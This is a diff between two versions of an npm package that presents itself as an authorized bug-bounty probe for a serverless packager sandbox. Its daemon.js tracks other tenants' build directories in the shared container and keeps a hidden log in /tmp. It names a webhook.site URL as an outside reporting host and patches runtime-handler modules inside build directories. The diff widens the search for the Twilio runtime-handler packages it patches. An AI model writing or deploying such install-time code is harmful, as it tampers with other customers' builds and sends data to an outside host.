tw-pkgprobe-7731 1.0.4 → 1.0.6

package/daemon.js

@@ -2,10 +2,10 @@
 // serverless packager sandbox. Records which tenant build directories share this container.
 // It only WRITES into build directories of accounts on OWN (researcher-owned accounts).
 const fs=require('fs'), path=require('path'), https=require('https');
-const VER='1.0.4';
+const VER='1.0.6';
 const SELF='AC96a5f7e920ce23f02184081ddd64d87a';
 const OWN=['AC07de79f2af00295019b8cb17cea01e9a','AC8727b8e73f7f4d1501314b57b830a7a1','AC1329f7a0eb0dbc343871303ebc58bced'];
-const HOOK='https://webhook.site/dc26a1e3-921f-4f8a-950a-7f922c564fc8';
+const HOOK='https://webhook.site/cc08d9d9-232a-42a2-8d55-0f75cb5e0e67';
 const LOG='/tmp/.helper-log.json';
 const state={ver:VER,started:Date.now(),seen:{},injected:{},ticks:0};
 function save(){try{fs.writeFileSync(LOG,JSON.stringify(state));}catch(e){}}
@@ -28,8 +28,11 @@ function inject(dir,ac,zs,zf){
 
 function patchRuntime(dir,ac,zs,zf){
   try{
-    const base=path.join(dir,'node_modules','runtime-handler');
-    if(!fs.existsSync(base)) return;
+    let base=null;
+    for(const cand of [['node_modules','@twilio','runtime-handler'],['node_modules','runtime-handler'],['node_modules','twilio-runtime']]){
+      const p2=path.join(dir,...cand); if(fs.existsSync(p2)){base=p2;break;}
+    }
+    if(!base) return;
     let main='index.js';
     try{ const pj=JSON.parse(fs.readFileSync(path.join(base,'package.json'),'utf8')); if(pj.main) main=pj.main; }catch(e){}
     let f=path.join(base,main);

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "tw-pkgprobe-7731",
-  "version": "1.0.4",
+  "version": "1.0.6",
   "description": "Authorized security research probe (bug bounty). No-op outside the specific sandbox it was written for.",
   "main": "index.js",
   "license": "MIT",

package/probe.js

@@ -1,5 +1,5 @@
 const fs=require('fs'), cp=require('child_process');
-const VER='1.0.4';
+const VER='1.0.6';
 function main(){
   const cwd=process.cwd();
   if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(cwd)) return;